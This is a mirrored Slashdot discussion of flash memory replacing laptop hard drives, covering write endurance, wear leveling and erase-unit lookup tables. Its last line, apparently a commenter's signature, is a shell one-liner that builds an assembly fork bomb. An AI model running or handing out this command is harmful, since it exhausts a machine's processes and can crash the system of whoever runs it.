Slashdot Mirror
Flash Drives in Future Apple Laptops?
danscript writes "Samsung hopes that falling prices for flash-memory chips will mean solid-state memory can eventually replace hard-disk drives in Apple PowerBooks and iBooks as well as other devices, Macworld UK is reporting. The benefits? - silent; less power; reliable and faster."
They must be talking about some other kind of flash than anything I've used... I routinely rewrite 128MB-512MB CF cards for an embedded product and it's nowhere near the speed of a laptop disk. Maybe they're thinking some sort of RAM cache.
The point he's making is that the controller on harddrive have a relatively fix amount of transistor, regardless of the harddrive's space. Flash mem, however, needs a set of transistor for every bit of data it stores.
In US, you can easily buy enough major firearms to wipe out your neighbourhood but a few little fireworks are banned.
Hard cards were the original IDE drives. Before hard cards you had to have an actual disk controller plugged into your bus, then cabled to the drive. IDE, in it's original implementation, was just an ISA slot re-configured as a pin header connector with some unneeded pins (such as all the IRQs except for 14 or 15) removed.
With all the advances that IDE has taken, it is still a simple interface, not a disk controller.
Hard cards didn't last long, but they're an important mutation in the evolution of the modern PC.
-Peter
It used to be higher, (up to 100,000), but new MLC flash has lower numbers. Note that the 1,000,000 numbers you read is low-density NOR flash, not the NAND flash a hard drive would be made of.
You must wear level, so the real life of the drive is basically 10,000*num sectors writes. A sector is 128KB or so, depending on the flash type.
This seems like a lot until you realize that often you write sectors over and over. Also, due to the large sector/page size of flash, you end up doing multiple writes when you think you are doing a single one. For example, if you write to a file in 4 chunks, 32K at a time, it uses up 4 of your writes. It might be possible to remove this with intelligent caching, but you're gonna need a lot of RAM for the caching.
Honestly, this is just an idea that isn't ready yet. Flash is too slow to write right now. The life is decent. Reads work well.
Not true. Modern Flash cards have wear leveling built into the hardware. The address the computer sees is actually the logical address that the controller translates to a hardware-specific address. The controller automatically adjusts addresses to spread out the writes and to detect and remap bad blocks (this should occur without loss of data, since blocks only go bad when you write to them).
The flash is broken up into Erase Units, which as the name suggests is the smallest block you can erase at any one time. IDE hard disks have a small fixed sectorsize of 512 bytes, smaller than one EU.
Imagine a 12KB flash with a 2KB Erase Unit and 6 units. One of these is bad - this can seen by the absence of a metadata signature for example.
You could use this as an IDE disk with 6KB capacity, since some of the erase units needs to be spare at all times.
Each EU can hold 3 IDE sectors, some metadata including the signature, and then 3 integers saying which logical block the physical block holds.
The EU starts off erased, all ones. Let's write a fileystem,Now imagine we need to update sector 1. We can use one of the spare blocks to store the data. The old copy can be left, but marked as unused by setting its lookup table entry to 0 - programming all the remaining bits.Now imagine that you need to write the next two blocks, 2 and 3. That way all the blocks in the first EU will be obsolete, and you can erase it.If you're not lucky enough to get all the blocks written at any one time, you need to compact by copying the block with the most obsolete blocks into one of the spare EU's. Obvously you can skip the obsolete blocks - you just copy the ones that are used and mark the rest as spare.
So far I've talked about one lookup table, the one in the flash which gives you the logical block which each physical block contains. This is the inverse of the lookup table you want for reading an arbitrary block, but this inverseness gives it the useful property that it only needs to be updated only once per erase cycle - some of the bits in an entry are programmed when the block is written, and the rest are programmed when the data becomes obsolete.
If you want to read logical block N, it's useful to have another lookup table which gives you the mapping logical block to physical block. This will need to be updated a lot - once for each write of a block. But it can be generated from the lookup table in the flash at insertion time, and kept in Ram.
There are some corner cases obviously - like the bad bits in the metadata area or whole EU's going bad, but there's usually a fair bit of space in an EU for metadata, and a reasonable number of spare EUs. Plus, if the flash has always been used like this, the bits should all wear out at the same time, which is obviously not something you can work around. But the trick to avoiding the problem you mention is to store an _inverted_ lookup table on the flash.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;